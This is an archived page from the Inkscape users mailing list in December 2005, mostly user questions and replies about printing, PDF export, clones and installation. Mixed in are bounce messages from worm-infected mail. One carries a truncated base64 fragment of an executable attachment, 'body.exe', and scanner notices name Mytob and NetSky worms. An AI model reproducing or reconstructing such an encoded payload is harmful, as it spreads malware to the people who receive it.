December 2005 - Inkscape Users

Inkscape for windows
by Leopold Palomo Avellaneda 10 Oct '06

10 Oct '06

Dear people, first off all I have to say that I'M NOT A WINDOWS USER. After, my boss, that is a windows user, would like to use inkscape. We have tried to install it and basically we didn't have any problem. The question is that we would like to know which dependencies needs inkscape to run in windows, because we cannot use any import feature. So, we cannot open any ps, eps, etc file. We have tried to install python and perl, (without any success, or the import feature doesn't work four us), but I have to say that I don't know very much the windows platform (I'm very happy with the apt-get ;-) So, please, could you tell me which software is necessary/recommend to run a full inkscape in the Win platform? Somethink like to build it: x, y, z: To run it, xa, yb, etc. Best regards, Leo -- Linux User 152692 Catalonia

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Question for snappers
by bulia byak 05 Jan '06

05 Jan '06

To everyone who uses snapping in Inkscape: We plan to make _screen pixels_ (not px units) the default unit for snapping distance, so that e.g. snapping at 5 pixels remains the same distance on screen regardless of zoom. The question is, do you still need absolute (not zoom-independent) units for specifying snap distance? If so why? If there are no voices in defence of abs units, we will remove them altogether and use _only_ screen pixels. This will simplify the Doc Prefs dialog and will be generally saner and simpler. -- bulia byak Inkscape. Draw Freely. http://www.inkscape.org

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Can't join two nodes
by Laszlo 02 Jan '06

02 Jan '06

Hi! How can I join two node in a path? The error message, that, there are not endnodes. how can I make them to endnodes? I have made a quick mockup of the problem: http://khiraly.4242.hu/tmp/cantJoin.png Thx in advance. Khiraly

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Printing configuration problems (can't set printer)
by Douglas Straub 31 Dec '05

31 Dec '05

Hi, I can't seem to figure out how to get inkscape to send the output to the correct printer: When I select the "Print/Ctrl-P" menu item, it just sends the file to a printer without providing a choice or dialog. I can 't seem to find a settings dialog for a default printer. When I use "Print Direct", I get a valid ps file that does print properly via lpr. (And looks great!) I am running Inkscape 0.43. I am running Gentoo system, with libgnomeprint-2.10.3 and gnome of 2.10. Printing from gedit brings up a printer selection dialog and works properly. Any ideas? Is this the correct behaviour for Ctrl-P, or should there be a dialog? (If there are any developers reading) It also seems to me that the menu items are inconsistant/wrong. An ellipsis in a menu item to me implies there will be a follow-up dialog, whereas one without performs a direct action, so it should be (assuming that the correct behaviour for Print is to *not* bring up a dialog) "Print Direct ..." Print thx, des --------------------------------- Yahoo! Photos Ring in the New Year with Photo Calendars. Add photos, events, holidays, whatever.

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This is most likely *not* an Inkscape problem, but... I want to make sure.
by Christopher B. Wright 30 Dec '05

30 Dec '05

Yesterday I decided to install the 64 bit version of Kubuntu on my laptop. When I went to install the autopackage of Inkscape 0.43 an error occurred when it tried to download and install autopackage itself: "autopackage/libexec/autosu-gtk: error while loading shared libraries: libgtk-x11-2.0.so.0: cannot open shared object file: No such file or directory" This suggests to me that it's a problem with my machine trying to install autopackage, not with how Inkscape's specific package was set up -- however because there had been a problem in the past with some of the development build packages I wanted to check in and make sure. (Currently the kubuntu apt-get resources only contain the 0.42 release, or I'd just that...) Christopher B. Wright (wrightc@...537...) >From MAILER-DAEMON Fri Dec 30 06:40:07 2005 From: Webshield SMTP V4.5 MR1a P0803.345 Mail Service Date: Fri Dec 30 14:39:44 2005 To: <inkscape-user(a)lists.sourceforge.net> Message-ID: <E1EsLQL-0001mR-2W@...885...> X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 INVALID_DATE Invalid Date: header (not RFC 2822) Subject: [Inkscape-user] Returned Mail: Error During Delivery Sender: inkscape-user-admin(a)lists.sourceforge.net Errors-To: inkscape-user-admin(a)lists.sourceforge.net X-BeenThere: inkscape-user(a)lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk Reply-To: inkscape-user(a)lists.sourceforge.net List-Unsubscribe: <https://lists.sourceforge.net/lists/listinfo/inkscape-user>, <mailto:inkscape-user-request@lists.sourceforge.net?subject=unsubscribe> List-Id: Inkscape User Community <inkscape-user.lists.sourceforge.net> List-Post: <mailto:inkscape-user@lists.sourceforge.net> List-Help: <mailto:inkscape-user-request@lists.sourceforge.net?subject=help> List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/inkscape-user>, <mailto:inkscape-user-request@lists.sourceforge.net?subject=subscribe> List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum=inkscape-user> Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit ---- Failed Recipients ---- <dan@...1249...> Requested action not taken: mailbox unavailable. [SMTP Error Code 550] ---- Contents of the undelivered mail ---- Received: From lists.sourceforge.net ([85.99.219.66]) by antivirus.ubi.pt (WebShield SMTP v4.5 MR1a P0803.345); id 1135953581546; Fri, 30 Dec 2005 14:39:41 +0000 From: inkscape-user(a)lists.sourceforge.net To: dan@...1249... Subject: Hi Date: Fri, 30 Dec 2005 16:39:52 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0001_96958490.3A45FAD8" X-Priority: 3 X-MSMail-Priority: Normal This is a multi-part message in MIME format. ------=_NextPart_000_0001_96958490.3A45FAD8 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment. ------=_NextPart_000_0001_96958490.3A45FAD8 Content-Type: text/plain; charset="us-ascii" Content-Disposition: attachment; filename="WARNING0.txt" Network Associates WebShield SMTP V4.5 MR1a P0803.345 on antivirus detected virus W32/Mytob.gen@...343... in attachment message.scr from <inkscape-user(a)lists.sourceforge.net> and it was Deleted and Quarantined. ------=_NextPart_000_0001_96958490.3A45FAD8 --

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Angles
by Brian Cochran 28 Dec '05

28 Dec '05

Is it possible to measure angles in inkscape. I have completed the second edition of my crime scene symbols (will upload to open clip art) and I am now attempting to create templates for bloodstain pattern analysis. I can accurately measure bloodstains and use those figures for trajectory analysis with inkscape (very cool). In order to take the next leap I would need to be able to measure angles in inkscape. The long range goal would to have a worksheet in inkscape where the entire stain can be reconstructed and the point of origin determined. Great for court and easy to use. Currently investigators are using measuring tapes and protractors. Inkscape is an incredible program and thanks to all of those that work so hard to make it all that it is.

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Text spacing.
by davide 27 Dec '05

27 Dec '05

Hi. I need paste a long text in my image, and I would like to add the text spacing, i mean the space between two letters. I found out i can use Alt+Right, but using this way i need to add the space after every single symbol. Is there a way to do it automagically? thanks a lot.

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Is there an available win32 build with inkboard enabled?
by Noam Raphael 26 Dec '05

26 Dec '05

Hello, I'm interested in a free "whiteboard" program, for teaching over the internet. I saw that inkscape is supposed to include inkboard, which sounds like it should do exactly what I want. Is there an available build of it for windows? I simply have zero experience with building programs on windows. Thanks, Noam Raphael

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KDE 3.5 based advanced Linux Desktop released
by Sagara Wijetunga 26 Dec '05

26 Dec '05

Tomahawk Computers (www.tomahawkcomputers.com), Singapore, released an advanced multimedia centric Linux desktop distribution featuring Intel Centrino wireless technology, Zeroconf, High-Definition audio and video playback, Bluetooth, Firewire, iPod access and Podcasts. Complete suite of software also included for home and corporate use featuring KDE 3.5, Firefox 1.5, Openoffice 2.0, etc. Tomahawk Desktop is compatible with wide-screen monitors and flat panels with aspect ratio 16:10, 16:9 in addition to popular 5:4 and 4:3. Unique features of Tomahawk Desktop are, resistant to Pharming/Phishing, fast Internet access, remote serviceability and package user based simple yet very effective package management system. No mounting and unmounting hassle for accessing Thumbdrives, Digital cameras, MP3 players, etc. Full functional evaluation version is available to download via Bittorrent from http://www.tomahawkcomputers.com/download.html. __________________________________ Yahoo! for Good - Make a difference this year. http://brand.yahoo.com/cybergivingweek2005/ >From MAILER-DAEMON Mon Dec 26 00:46:06 2005 Date: Mon, 26 Dec 2005 00:46:08 -0800 Message-Id: <10512260046.AA267390877@...1430...> Mime-Version: 1.0 From: "Postmaster" <postmaster@...1430...> To: <inkscape-user(a)lists.sourceforge.net> X-Mailer: <SMTP32 v8.05> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [Inkscape-user] Undeliverable Mail Sender: inkscape-user-admin(a)lists.sourceforge.net Errors-To: inkscape-user-admin(a)lists.sourceforge.net X-BeenThere: inkscape-user(a)lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk Reply-To: inkscape-user(a)lists.sourceforge.net List-Unsubscribe: <https://lists.sourceforge.net/lists/listinfo/inkscape-user>, <mailto:inkscape-user-request@lists.sourceforge.net?subject=unsubscribe> List-Id: Inkscape User Community <inkscape-user.lists.sourceforge.net> List-Post: <mailto:inkscape-user@lists.sourceforge.net> List-Help: <mailto:inkscape-user-request@lists.sourceforge.net?subject=help> List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/inkscape-user>, <mailto:inkscape-user-request@lists.sourceforge.net?subject=subscribe> List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum=inkscape-user> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit User mailbox exceeds allowed size: mail@...1429... Original message follows. Received: from lists.sourceforge.net [81.215.51.90] by nausicaa.westin.smashservers.net with ESMTP (SMTPD32-8.05) id ADA9B4000D8; Mon, 26 Dec 2005 00:45:29 -0800 From: inkscape-user(a)lists.sourceforge.net To: john@...1429... Subject: SERVER REPORT Date: Mon, 26 Dec 2005 10:45:20 +0200 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0002_F9EA23AC.9B535C89" X-Priority: 3 X-MSMail-Priority: Normal Message-Id: <200512260045210.SM08772(a)lists.sourceforge.net> This is a multi-part message in MIME format. ------=_NextPart_000_0002_F9EA23AC.9B535C89 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit ------=_NextPart_000_0002_F9EA23AC.9B535C89 Content-Type: application/octet-stream; name="body.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="body.exe" TVpLRVJORUwzMi5ETEwAAExvYWRMaWJyYXJ5QQAAAABHZXRQcm9jQWRkcmVzcwAAVXBhY2tCeUR3 aW5nQAAAAFBFAABMAQIAAAAAAAAAAAAAAAAA4AAPAQsBACQAsAAAABAAAADgAADiwQIAAPAAAACg AQAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAEADAAACAAAAAAAAAgAAAAAAEAAAEAAAAAAQ AAAQAAAAAAAAEAAAAAAAAAAAAAAAN8QCACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALlVwYWNrAAAAAAIAABAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA4AAA4C5yc3JjAAAAADABAAAQAgBftAAAAAIAAAAAAAAAAAAAAAAAAOAAAOA4xEIABwAA AAAQQgAAAAAA/////wEAAAABAAAAAQAAAAEAAAAABAAAABBAALHDQgD9w0IAAMRCAA7EQgDpw0IA fAcAAMQLAAD8D0AAVcNCAFfDQgD4wUIAyANCAH8DAAAzxEIAbfxBAEnDQgAAAAAAAAAAAAAAAABB vNu3fuurBYMcLS6BIbXfRqGHR595tGShs37iNMaLwFIL3+L1i5RANjQMotVr2xGMwWkGuEhTzcMi nFGJR5jMbYdZDhVJZlDB5qbBzaGzP8SsUkYA/PFwYnpA8zFkXYvzt8sdr+egF0kFeXkdt1EZnj75 9yDtJ2KOg7iO7IMCpjAYxmh4ZRkgmudn7+evcBjQ6nxzd7PBfOG1rOlFnMYuwzVe9VV5SMllBh3d KLX5RdZQoHKfR3eJsw3a/MLxPWhRft20GP8YB+saiEgQXA4XhOIjboiCvX+vvadPST01tnuEk6+s Bo94Tbedrs1BJLJn9iNqXoS8pYgFuPZ0ODFsGsBS7pFrj/zibsvzXyuYt8pmDhXc3lnW0Mg7l6Az LlMQpmpdpSV6/d06+E/2Gqei+1jmuNk+JKEdKWoUL7DI8hSI1+nVgQZKAnD1OMYO5XFyp9Pk7YA0 [message truncated]

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New set of crispy icons for Inkscape
by Andre Sousa 25 Dec '05

25 Dec '05

Hello all, I've made a new set of Icons for Inkscape ("crispy_icons.svg"). You may find them in may home page along with some crude instruction... http://placide.home.sapo.pt/inkscape/index.html I know it is not a beauty?!? My goal was to make icons: - Crispy - Similar to the ones from the stock icons (gnome) Since 16x16 px icons are quite small I create a pixel grid and made the icons this exact same size. Of course if, for some reason, we change their size, they won't look as good anymore (but who wants to do that?!). the file is a little bit bigger than the original. If this is an issue, I can try to make it smaller (I don't know if it is possible). I left some icons on the up right corner of the page since I don't know what they are for?! Of course feel free to do what ever you want with them they are totaly free, use and abuse (GPL or whatever, I have to read it some day!). Anyway, this is my small contribution to this amazing project... Plácido Sousa. PS: I am planing to put them in the Wiki page about interface/icons but it doesn't let me. It keep sending me this message. "Editing not allowed without detailed instruction following" ?!? If anyone wants to put them there I you'd apreciate.

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Fwd: Fw: Inkscape-user digest-trouble opening files
by Tim Reeves 23 Dec '05

23 Dec '05

---------- Forwarded message ---------- From: Tim Reeves <Tim.Reeves@...1000...> Date: Dec 21, 2005 1:40 PM Subject: Fw: Inkscape-user digest-trouble opening files To: timothyrreeves@...155... ...trying again ...lists.sourceforge.net wouldn't accept e-mail from my first e-mail server. ----- Forwarded by Tim Reeves/OAI on 12/21/2005 01:38 PM ----- *Tim Reeves/OAI* 12/21/2005 01:35 PM To inkscape-user(a)lists.sourceforge.net cc Subject Re: Inkscape-user digest-trouble opening filesLink I have trouble opening files by double-clicking their icons, and by choosing them in the File...Open Recent command. I get a "Failed to load" error message. Opening them via File...Open is no problem. Any ideas? Inkscape 0.43, WinXp SP2. Thanks, Tim Reeves

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printing problems in 0.43
by Michal Žeravík 23 Dec '05

23 Dec '05

Hi all, I have problems with printing since 0.41. I set page A4, draw graphics and print. But all is moved by half of a page up on paper. I've made it by Print direct.. "| lp" before, but this function disappeared. Running on gentoo64, cups-1.1.23-r4. All other apps are printing well. Any ideas? Should I send some logs? thank you Michal >From MAILER-DAEMON Tue Dec 20 02:33:33 2005 Date: Tue, 20 Dec 2005 11:44:32 +0100 From: Postmaster@...1410... To: inkscape-user(a)lists.sourceforge.net X-MDaemon-Deliver-To: inkscape-user(a)lists.sourceforge.net Message-ID: <MDAEMON0373200512201144.AA4432625@...1410...> Mime-Version: 1.0 X-Actual-From: Postmaster@...1410... X-MDSend-Notifications-To: [trash] X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name Subject: [Inkscape-user] MDaemon Warning - Virus Found Sender: inkscape-user-admin(a)lists.sourceforge.net Errors-To: inkscape-user-admin(a)lists.sourceforge.net X-BeenThere: inkscape-user(a)lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk Reply-To: inkscape-user(a)lists.sourceforge.net X-Reply-To: Postmaster@...1410... List-Unsubscribe: <https://lists.sourceforge.net/lists/listinfo/inkscape-user>, <mailto:inkscape-user-request@lists.sourceforge.net?subject=unsubscribe> List-Id: Inkscape User Community <inkscape-user.lists.sourceforge.net> List-Post: <mailto:inkscape-user@lists.sourceforge.net> List-Help: <mailto:inkscape-user-request@lists.sourceforge.net?subject=help> List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/inkscape-user>, <mailto:inkscape-user-request@lists.sourceforge.net?subject=subscribe> List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum=inkscape-user> Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit The following message had attachment(s) which contained viruses: >From : inkscape-user(a)lists.sourceforge.net To : lunive76@...1409... Subject : Mail Delivery (failure info@...1409...) Date : Tue, 20 Dec 2005 11:28:25 +0100 Message-ID: Attachment Virus name Action taken ------------------------------------------------------------------------------ cf128231121.txt Exploit.HTML.Iframe.FileDownload Removed message.scr Email-Worm.Win32.NetSky.q Removed

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Mac OSX 10.4.3 issue
by Matt Jordan 23 Dec '05

23 Dec '05

Hello, I had recommended Inkscape to a friend who, it turns out, uses Mac OSX 10.4.3 and he had trouble. I thought I'd pass along his response (see below) just in case it's helpful to the developers and just in case someone can pass along a fix. (I use Inkscape on Win XP and have no knowledge of Mac stuff, so my apologies if this is already known.) Matt > >Hey, Matt! > >Unfortunately, Inkscape doesn't play nice with Mac OSX 10.4.3. It >requests that you install something called X11 (a Mac download), but >that software will not install because it is out of date vis-a-vis >10.4.3. > >

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PDF bounding box on Linux
by David Finlayson 23 Dec '05

23 Dec '05

When I SAVE AS pdf a drawing with a custom page size, the PDF always looks like it's on A4 paper---even when the drawing is a fraction of that size. Is there a way to get a proper bounding box on the drawing? I've found that the only thing that works is to save as EPS, then use eps2pdf to convert the drawing. It works, but it rasterizes the drawing in evince and looks like crap. There has been a lot of traffic on the mailing list about PDF, from which I've gleaned that there are problems with PDF, but I wasn't able to nail down exactly what works today on what platforms, and how best to convert an Inkscape drawing to PDF today. (on Linux) Thanks for any clarifications I'm using inkscape-0.42.2, built from .tar.bz source on Ubuntu 5.10 -- David Finlayson Marine Geology & Geophysics School of Oceanography Box 357940 University of Washington Seattle, WA 98195-7940 USA Office: Marine Sciences Building, Room 112 Phone: (206) 616-9407 Web: http://students.washington.edu/dfinlays

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System font size on windows
by Mark Ainsworth 22 Dec '05

22 Dec '05

Can anyone out there help please? I've just upgraded from .42.2 to .43 and now all the menu and status bar fonts are too small to read. I'm running on Windows XP. I can't find any settings in the program to change. I've read the posting about changing gtk-font-name="verdana" etc. Although this just change some displays, it doesn't change the top menu line, or the status line at the bottom of the window. Version 42.2 was displaying at a size that was quite readable. Help. Thanks Mark.

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Re: [Inkscape-user] Printing Large Documents
by Marchese Family 21 Dec '05

21 Dec '05

> >Marchese Family wrote: > > Is it possible to print canvases that are larger than the printer's > > paper? I have several drawing on "tabloid" sized canvases that I would > > like to print on two (or more with some overlap) pieces of US letter > > sized paper. This is also known as print tiling and I even found an RFE > > on it: > > > > > https://sourceforge.net/tracker/index.php?func=detail&aid=967795&group_id=9… > > > > > > > Unfortunately it doesn't look like any action has been taken. Does > > anyone know of a work around? > >I've been told that poster from KDEPrint does this. At one time I even >saw a version of poster compiled for windows. I haven't tried it so this >is just hearsay. > >http://printing.kde.org/downloads/ > >Please report back with your findings. > >Aaron Spike Thanks Aaron, I tried the KDE link but couldn't find a windows version. I wouldn't have minded using Linux, but I still don't have mine talking to my favorite printer. I did find this utility that got the job done: http://sourceforge.net/project/showfiles.php?group_id=141842 It has about the nicest UI for this type of thing I've seen with plenty of control over the paper orientation and overlap. If they ever do integrate such a feature for native svg files, I'd like to see something like this. Unfortunately it requires the use of an intermediate bit mapped file (PNG is ok). By default Inkscape exports bitmaps at 90 dpi. You will probably want to increase that (from the Misc tab on Inkscape Preferences dialog) to something closer to your printer resolution, but the file sizes grow quite fast. Output goes to a PDF file. I hope someone finds this useful. Bob M

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Printing Large Documents
by Marchese Family 20 Dec '05

20 Dec '05

Is it possible to print canvases that are larger than the printer's paper? I have several drawing on "tabloid" sized canvases that I would like to print on two (or more with some overlap) pieces of US letter sized paper. This is also known as print tiling and I even found an RFE on it: https://sourceforge.net/tracker/index.php?func=detail&aid=967795&group_id=9… Unfortunately it doesn't look like any action has been taken. Does anyone know of a work around? Thanks, Bob Marchese

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Attachments on mailing list
by Brandon Blackmoor 20 Dec '05

20 Dec '05

emil@...1238... wrote: > > Sorry don't mean to nag if this has been discussed > before, but why are people allowed to attach files > on this mailinglist? Why can't they just link > to the files like on other lists? ... > What are your thoughts on this? My thoughts are similar to yours. On the mailing lists I administer, I do not permit attachments. -- Brandon Blackmoor bblackmoor@...477... 2005-12-20

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Attachments on mailinglist
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19 Dec '05

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CD Label
by Ezequias Rodrigues da Rocha 19 Dec '05

19 Dec '05

Hi list, It there in the project a CD label model ? Sincerely ... -- Ezequias Rodrigues da Rocha http://ezequiasrocha.blogspot.com msn:ezequias@...9...

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Connectors and grouped objects, etc.
by Phil Endecott 18 Dec '05

18 Dec '05

Dear All, I'm continuing in my attempts to draw block diagrams using Inkscape's new features, and I've just encountered some odd behaviour with connectors and grouped objects. I have a rectangle with a text element on top of it. I want to draw arrows between these blocks using connectors. There are a couple of ways that I can do it: I can group the text with the rectangle, and use the center of the group as the anchor for the connector, or I can leave them ungrouped and use the center of the rectangle. If I use the center of the group the problem is that the connector becomes detached if I ever ungroup it. Ungrouping is not unusual; although I can edit the text without ungrouping, I need to ungroup in order to reposition the text within the rectangle. If I use the center of the rectangle for the anchor, the connector seems to become disconnected if I group the rectangle and the text. There are also problems with connectors and snap. It looks as if an un-anchored connector end does not obey any snap rules, or the limited-direction feature that the line tool has when you hold down ctrl while dragging. Also, "Select All" followed by "Transform - Move" seems to not move the connectors. Are these known issues? Is this code evolving in CVS? Cheers, --Phil.

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Trouble with 0.43 reading 0.40-saved works
by Gabor Nyeki 18 Dec '05

18 Dec '05

Dear Mates, I'm having some very painful troubles with the brandnew 0.43 release. Namely, when I try to open SVG files that I saved with 0.40, font elements usually get shifted, and stars, circles, and squares get totally black, even if they were supposed to be yellow with red border colour. This is kinda problematic because I don't have 0.40 installed along with 0.43, but sometimes it'd be pretty handy to work with these antique resources. Now, it's possible that someone already asked this stuff earlier here, or it was an officially announced 'Known issue,' however I haven't found anything very certain so far. Should I reinstall 0.40 and leave advancement for the pros? Or can it be solved somehow with 0.43? Thank you in advance, Gabor Nyeki. --- No funny stuff here.

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resetting clones
by David Soukal 17 Dec '05

17 Dec '05

Hello everyone, just a quick question about ability to "reset" clone of an object. When I create clones on an object, I can manipulate them at my will (to some extent). Namely, I can stretch them, rotate them and so on... Is there a way to undo these transformations and reset the clones to the current "image" of the original? I realize that this sounds like a non-sense.. why did you modify the clones in the first place, right?! The answer is that I use Inkscape to annotate my plots generated by Matlab. Sometimes I replace Matlab's markers by mine: I create the marker and then clone it as needed. Now and then, it turns out despite my best efforts that it would be best to scale the whole plot.. maybe along the y-axis only... In this case the clones stretch, which is somethign I don't want. And since there are many clones (sometimes even thundreds) it is tedious to replace them again. Thank you for any insights!! Happy holidays! David

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Re: [Inkscape-user] Connectors and grouped objects, etc.
by Bryce Harrington 16 Dec '05

16 Dec '05

On Fri, Dec 16, 2005 at 06:48:15PM +0000, Phil Endecott wrote: > Dear All, > > I'm continuing in my attempts to draw block diagrams using Inkscape's new features, and I've just encountered some odd behaviour with connectors and grouped objects. > > I have a rectangle with a text element on top of it. I want to draw arrows between these blocks using connectors. There are a couple of ways that I can do it: I can group the text with the rectangle, and use the center of the group as the anchor for the connector, or I can leave them ungrouped and use the center of the rectangle. > > If I use the center of the group the problem is that the connector becomes detached if I ever ungroup it. Ungrouping is not unusual; although I can edit the text without ungrouping, I need to ungroup in order to reposition the text within the rectangle. > > If I use the center of the rectangle for the anchor, the connector seems to become disconnected if I group the rectangle and the text. > > There are also problems with connectors and snap. It looks as if an un-anchored connector end does not obey any snap rules, or the limited-direction feature that the line tool has when you hold down ctrl while dragging. > > Also, "Select All" followed by "Transform - Move" seems to not move the connectors. > > Are these known issues? Is this code evolving in CVS? Hi Phil, I'd encourage you to submit bug reports on each of these issues, including example files, if there are not already bug reports on them. Bryce

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Re: Using clones for boxes with text in block diagram
by Phil Endecott 15 Dec '05

15 Dec '05

Thanks for the replies. I asked: > What I'm after is a way to be able to change things like colours > and line thicknesses just once, and have those changes affect all > of the boxes [containg text] of that class. Is cloning the best > way to do this? Bulia suggested: > Don't clone the group - clone only the rect. Made the clone of the > rect first, then group rect with text; clone will not be affected, it > will only reflect the rect as before. Then you can duplicate the clone > as many times as you need to get more clones of the same rect. OK, I've tried it, and it works. Thanks! Unfortnately it looks as if resizing the clones (i.e. so that they fit the text that they contain) always resizes the box stroke width, even if the "scale stroke width" button is off, so this doesn't really do what I wanted. Mental suggested: > This is basically what CSS classes are for; I think we do have > sufficient CSS support to use them now, but not good UI for CSS > yet. Great, I can do CSS, and "instance of a class" is a more familiar mental model (HTML+CSS, C++) than "duplicate of a clone". So, I can set a class attribute on things using the XML editor [is there an easier way?] and I can write a CSS stylesheet in a text editor. Can you help me to associate the stylesheet with the document? Cheers, --Phil.

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15 Dec '05

On Thu, 15 Dec 2005 14:46:27 -0800 inkscape-user-request(a)lists.sourceforge.net wrote: > Inkscape-user -- confirmation of subscription -- request 565777 > > We have received a request from 80.47.183.132 for subscription of your > email address, <abrolag@...16...>, to the > inkscape-user(a)lists.sourceforge.net mailing list. To confirm the > request, please send a message to > inkscape-user-request(a)lists.sourceforge.net, and either: > > - maintain the subject line as is (the reply's additional "Re:" is > ok), > > - or include the following line - and only the following line - in the > message body: > > confirm 565777 > > (Simply sending a 'reply' to this message should work from most email > interfaces, since that usually leaves the subject line in the right > form.) > > If you do not wish to subscribe to this list, please simply disregard > this message. Send questions to > inkscape-user-admin@...482... > -- F

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Using clones for boxes with text in block diagram
by Phil Endecott 15 Dec '05

15 Dec '05

Dear All, I am about to start drawing some block diagrams and thought I ought to check out the new features that Inkscape has gained since I last did this sort of thing. For an example of what I have in mind, have a look at http://decimail.org/docs/overview.html. Basically it's just a collection of boxes with text in them joined with arrows. Obviously the new connectors feature will be useful, though I look forward to more flexibility about where the lines can join the boxes. I'm also considering using clones for the boxes. What I'm after is a way to be able to change things like colours and line thicknesses just once, and have those changes affect all of the boxes of that class. Is cloning the best way to do this? It seems to work, but there is one problem. Normally I put some text inside the box and then group the box and the text. But if I then clone the group the text cannot be editted in the clone. Maybe cloning isn't the right solution to this problem. Does anyone have any suggestions? Many thanks, --Phil.

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Text On Path - Re: Hey Kevin / Questions re: Inkscape.
by Kevin Wixson 15 Dec '05

15 Dec '05

David, Sure, I can help you. It's very easy to do in Inkscape. You can read about this procedure at my version of the user manual [ http://www.angelfire.com/mi/kevincharles/inkscape/p8c2.html ] and I'm sure there's also a fine tutorial on the Inkscape book that's available online at [ http://tavmjong.free.fr/INKSCAPE/MANUAL/html/index.php ] You can also join our mailing list and ask your questions there and lots of people will be happy to help. See the attached for instructions you can open in Inkscape. If you have any more questions feel free, fire away. Welcome to Inkscape. -Kevin David wrote: >Hey Kevin, > >I apologize in advance for bothering you with a question that most would >think could be easily found by doing a google search. I'm new to >Inkscape, and was wondering if you knew of any tutorial that explains >how to put text on a path, such as a sphere. Really in need of >arc-shaped text, and not interested in purchasing photoshop. > >Thanks, >David > > > >

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libstdc++ in autopackage build
by Karol Krenski 13 Dec '05

13 Dec '05

Hi list, Autopackage build from 03.12.2005 depends on libstdc++.so.6. PLD Linux is known from having fresh packages, but I have only got so.5. Manual linking so.6 ends with errors and won't let inkscape start. [root@...1357... lib]# rpm -q libstdc++ libstdc++-3.3.6-3 [root@...1357... lib]# rpm -ql libstdc++ /usr/lib/libstdc++.so.5.0.7 /usr/share/locale/de/LC_MESSAGES/libstdc++.mo /usr/share/locale/fr/LC_MESSAGES/libstdc++.mo Also there is always the warning (non fatal) about libpng problems. Karol

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PDF support in Inkscape - users needed!
by Bryce Harrington 11 Dec '05

11 Dec '05

Hi all, If you're an Inkscape user who has run into issues with poor PDF capabilities in the past, we need YOU! Over the past year we've gotten *so* many reports about various troubles with PDF (and Postscript) support in Inkscape. For some people it just works, for others it works after a lot of fiddling, and for many it fails to meet expectations. We want to change this! :-) In fact, by this time next year, I think we could completely reverse the situation, to where Inkscape has the *best* PDF and Postscript export and import of all drawing tools out there. In the past, users have said they'd like to contribute to help make Inkscape better in one way or another, but often we've been able to meet those requests just for free. Unfortunately, PDF support has proven to not been one of those cases; it's not an area that generally attracts developers to work on it voluntarily. So what we'd like to try is to set things up so the community can contribute towards sponsoring this work. If we can get enough pledges, and a concensus on a plan of what to do, then we'll collect the funds and contract someone to perform the work. What we need *right now* though, is to know what the issues are that we need to solve. This is where you come in. Tell us what problems you've had with Inkscape PDF/PS or features you think are critical. Put them into the 'What Users Need from Inkscape PDF/PS Support' section here: http://wiki.inkscape.org/cgi-bin/wiki.pl?PrintingConsensusPoll Also, add yourself to the Yes/No Poll, with a yes or no vote and explanation of what condition needs to be met for you to be willing to make a contribution. Bryce >From MAILER-DAEMON@...1382... Mon Dec 12 05:19:01 2005 Message-ID: <22845922.1134393521193.JavaMail.userap@...1383...> Date: Mon, 12 Dec 2005 22:18:41 +0900 (JST) From: MAILER-DAEMON@...1382... To: inkscape-user(a)lists.sourceforge.net Mime-Version: 1.0 X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.0 RCVD_BY_IP Received by mail server with no name Subject: [Inkscape-user] failure delivery Sender: inkscape-user-admin(a)lists.sourceforge.net Errors-To: inkscape-user-admin(a)lists.sourceforge.net X-BeenThere: inkscape-user(a)lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk Reply-To: inkscape-user(a)lists.sourceforge.net List-Unsubscribe: <https://lists.sourceforge.net/lists/listinfo/inkscape-user>, <mailto:inkscape-user-request@lists.sourceforge.net?subject=unsubscribe> List-Id: Inkscape User Community <inkscape-user.lists.sourceforge.net> List-Post: <mailto:inkscape-user@lists.sourceforge.net> List-Help: <mailto:inkscape-user-request@lists.sourceforge.net?subject=help> List-Subscribe: <https://lists.sourceforge.net/lists/listinfo/inkscape-user>, <mailto:inkscape-user-request@lists.sourceforge.net?subject=subscribe> List-Archive: <http://sourceforge.net/mailarchive/forum.php?forum=inkscape-user> Content-Type: text/plain; charset="iso-2022-jp" Content-Transfer-Encoding: 7bit Error Message $B0J2<!"%(%i!<$H$J$C$?%a!<%kK\J8$G$9!#(B X-WebMail-Local: telkansai Received: (qmail 7238 